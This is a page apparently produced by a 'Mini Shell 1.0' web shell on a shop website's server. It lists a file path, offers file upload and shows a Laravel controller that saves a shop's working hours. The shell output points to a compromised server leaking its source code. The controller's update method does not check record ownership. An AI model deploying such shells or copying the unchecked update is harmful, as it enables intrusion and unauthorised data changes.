HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/BusinessWorkingHoursController.php
<?php



namespace App\Http\Controllers;



use App\Models\BusinessWorkingHours;

use Illuminate\Http\Request;

use Illuminate\Support\Facades\Auth;

use Illuminate\Support\Facades\Validator;



class BusinessWorkingHoursController extends Controller

{

    public function index()

    {



    }



    public function create()

    {



    }



    public function store(Request $request, BusinessWorkingHours $businessWorkingHours)

    {



        $validator = Validator::make($request->all(), [

            'dia_semana' => ['required'],

            'hora_inicio' => ['required'],

            'hora_fin' => ['required'],

            'laborable' => ['required'],

        ]);



        if ($validator->fails()) {

            // Si la validación falla, puedes redirigir o devolver una respuesta con los errores

            flash(translate('Error de validacion al crear Horario Laboral'))->error();

            return redirect()->back()->withErrors($validator)->withInput();

        }



        $businessWorkingHours->shop_id = Auth::user()->shop->id;

        $businessWorkingHours->dia_semana = $request->input('dia_semana');

        $businessWorkingHours->hora_inicio = $request->input('hora_inicio');

        $businessWorkingHours->hora_fin = $request->input('hora_fin');

        $businessWorkingHours->laborable = $request->input('laborable');





        if ($businessWorkingHours->save()) {

            flash(translate('Se creo correctamente Horario Laboral'))->success();

            return back();

        }



        flash(translate('Error de validacion al crear'))->error();

        return back();

    }



    public function edit(BusinessWorkingHours $businessWorkingHours)

    {



    }



    public function update(Request $request, $id)

    {





        $validator = Validator::make($request->all(), [

            'hora_inicio' => ['required'],

            'hora_fin' => ['required'],

            'laborable' => ['required'],

        ]);



        if ($validator->fails()) {

            flash(translate('Error de validacion al editar Horario Laboral'))->error();

            return redirect()->back()->withErrors($validator)->withInput();

        }



        $businessWorkingHours = BusinessWorkingHours::findOrFail($id);



        $businessWorkingHours->hora_inicio = $request->input('hora_inicio');

        $businessWorkingHours->hora_fin = $request->input('hora_fin');

        $businessWorkingHours->laborable = $request->input('laborable');



        if ($businessWorkingHours->save()) {

            flash(translate('Horario Laboral editado correctamente'))->success();

            return redirect()->back();

        }



        flash(translate('Error al editar el Horario Laboral'))->error();

        return redirect()->back();

    }







    public function destroy(BusinessWorkingHours $businessWorkingHours)

    {



    }

}